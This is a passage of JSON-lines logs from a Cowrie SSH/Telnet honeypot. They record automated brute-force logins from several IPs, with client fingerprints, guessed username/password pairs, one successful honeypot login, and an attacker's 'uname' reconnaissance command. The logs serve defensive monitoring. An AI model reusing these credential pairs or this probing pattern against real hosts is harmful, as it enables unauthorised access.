{"eventid":"cowrie.session.closed","duration":120.00183129310608,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:00.478286Z","src_ip":"152.42.224.71","session":"7af738039258","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.78414964675903,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:00.608317Z","src_ip":"209.127.178.212","session":"08a5d2b505b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:00.623054Z","src_ip":"192.109.200.237","session":"e2895766218b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44586,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c5ef97d60f5","protocol":"ssh","message":"New connection: 192.109.200.237:44586 (159.203.135.109:22) [session: 5c5ef97d60f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:02.495880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:02.501678Z","src_ip":"192.109.200.237","session":"5c5ef97d60f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:02.584970Z","src_ip":"192.109.200.237","session":"5c5ef97d60f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jamalihassab","password":"123456","message":"login attempt [jamalihassab/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:02.833487Z","src_ip":"192.109.200.237","session":"5c5ef97d60f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:03.949530Z","src_ip":"192.109.200.237","session":"5c5ef97d60f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44600,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ad7e5db55d2","protocol":"ssh","message":"New connection: 192.109.200.237:44600 (159.203.135.109:22) [session: 0ad7e5db55d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:05.778046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:05.783470Z","src_ip":"192.109.200.237","session":"0ad7e5db55d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:05.867594Z","src_ip":"192.109.200.237","session":"0ad7e5db55d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123","message":"login attempt [root/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:06.120650Z","src_ip":"192.109.200.237","session":"0ad7e5db55d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.772643089294434,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:06.531337Z","src_ip":"152.42.224.71","session":"19c2e2f6dfb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:07.205407Z","src_ip":"192.109.200.237","session":"0ad7e5db55d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44608,"dst_ip":"159.203.135.109","dst_port":22,"session":"aff21cd88495","protocol":"ssh","message":"New connection: 192.109.200.237:44608 (159.203.135.109:22) [session: aff21cd88495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:09.241004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:09.246949Z","src_ip":"192.109.200.237","session":"aff21cd88495","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:09.329331Z","src_ip":"192.109.200.237","session":"aff21cd88495","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:09.579100Z","src_ip":"192.109.200.237","session":"aff21cd88495","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:09.781658Z","src_ip":"192.109.200.237","session":"aff21cd88495","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:09.785061Z","src_ip":"192.109.200.237","session":"aff21cd88495","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:09.870218Z","src_ip":"192.109.200.237","session":"aff21cd88495","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:09.875548Z","src_ip":"192.109.200.237","session":"aff21cd88495","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.42553472518921,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:11.318421Z","src_ip":"152.42.224.71","session":"3ea3b6b6eb21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36386,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b46fbdb36b4","protocol":"telnet","message":"New connection: 152.42.224.71:36386 (10.17.0.5:23) [session: 8b46fbdb36b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:12.283686Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46006,"dst_ip":"159.203.135.109","dst_port":22,"session":"6163f5e2341f","protocol":"ssh","message":"New connection: 192.109.200.237:46006 (159.203.135.109:22) [session: 6163f5e2341f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:12.484082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:12.489345Z","src_ip":"192.109.200.237","session":"6163f5e2341f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:12.572708Z","src_ip":"192.109.200.237","session":"6163f5e2341f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:12.823104Z","src_ip":"192.109.200.237","session":"6163f5e2341f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:13.910975Z","src_ip":"192.109.200.237","session":"6163f5e2341f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46010,"dst_ip":"159.203.135.109","dst_port":22,"session":"559b6401da80","protocol":"ssh","message":"New connection: 192.109.200.237:46010 (159.203.135.109:22) [session: 559b6401da80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:15.757716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:15.763227Z","src_ip":"192.109.200.237","session":"559b6401da80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:15.847132Z","src_ip":"192.109.200.237","session":"559b6401da80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:16.097585Z","src_ip":"192.109.200.237","session":"559b6401da80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:17.183409Z","src_ip":"192.109.200.237","session":"559b6401da80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":35478,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2130266e041","protocol":"ssh","message":"New connection: 103.183.114.55:35478 (10.17.0.5:22) [session: c2130266e041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:17.251334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:17.255926Z","src_ip":"103.183.114.55","session":"c2130266e041","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:17.473195Z","src_ip":"103.183.114.55","session":"c2130266e041","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"andromeda","message":"login attempt [root/andromeda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:18.127364Z","src_ip":"103.183.114.55","session":"c2130266e041","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":40530,"dst_ip":"10.17.0.5","dst_port":22,"session":"25b5c7ec3165","protocol":"ssh","message":"New connection: 192.169.243.246:40530 (10.17.0.5:22) [session: 25b5c7ec3165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:18.416631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:18.421778Z","src_ip":"192.169.243.246","session":"25b5c7ec3165","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:18.494351Z","src_ip":"192.169.243.246","session":"25b5c7ec3165","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa12345678!","message":"login attempt [root/Aa12345678!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:18.825517Z","src_ip":"192.169.243.246","session":"25b5c7ec3165","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46022,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c1af9d1db4a","protocol":"ssh","message":"New connection: 192.109.200.237:46022 (159.203.135.109:22) [session: 7c1af9d1db4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:19.094655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:19.151474Z","src_ip":"192.109.200.237","session":"7c1af9d1db4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 